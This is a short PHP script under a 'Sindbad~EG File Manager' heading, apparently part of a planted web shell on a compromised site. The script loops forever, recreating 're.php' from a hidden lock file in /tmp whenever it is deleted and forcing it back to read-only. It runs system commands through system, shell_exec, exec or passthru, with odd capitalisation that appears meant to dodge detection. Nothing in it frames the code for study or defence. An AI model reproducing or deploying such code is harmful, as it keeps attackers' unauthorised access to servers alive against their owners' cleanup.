Sindbad~EG File Manager

    <?php
    $tmp = "/tmp";
    $fileperm = gecko_perm("re.php");
    gecko_cmd("chmod 444 re.php");
    while (True) {
        if (!file_exists("re.php")) {
            $var = base64_encode(file_get_contents($tmp . "/Acx0rewplers0x.do.not.remove.this.Lock"));
            FiLe_pUt_ConTentS("re.php", base64_decode($var));
        }
        if ($fileperm != "0444") {
            gecko_cmd("chmod 444 re.php");
        }
    }
    function gecko_cmd($value)
    {
        if (function_exists("system")) {
            sYsTem($value);
        } else if (function_exists("shell_exec")) {
            return ShEll_eXeC($value);
        } else if (function_exists("exec")) {
            return ExEc($value);
        } else if (function_exists("passthru")) {
            return pAsSThRu($value);
        }
    }
    function gecko_perm($flename){
        return substr(sprintf("%o", fileperms($flename)), -4);
    }